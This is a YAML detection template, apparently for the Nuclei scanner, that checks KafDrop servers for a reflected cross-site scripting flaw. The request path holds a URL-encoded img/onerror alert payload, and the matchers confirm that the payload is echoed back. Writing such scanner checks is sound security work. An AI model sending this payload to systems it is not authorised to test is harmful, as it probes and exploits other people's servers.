29 lines
706 B
YAML
29 lines
706 B
YAML
id: kafdrop-xss
|
|
|
|
info:
|
|
name: KafDrop - Cross-Site Scripting
|
|
author: dhiyaneshDk
|
|
severity: medium
|
|
description: A vulnerability in KafDrop allows remote unauthenticated attackers to inject arbitrary HTML and/or JavaScript into the response returned by the server.
|
|
reference:
|
|
- https://github.com/HomeAdvisor/Kafdrop/issues/12
|
|
tags: kafdrop,xss
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/topic/e'%22%3E%3Cimg%20src=x%20onerror=alert(2)%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- 'Kafdrop'
|
|
- '<img src=x onerror=alert(2)>'
|
|
part: body
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 500
|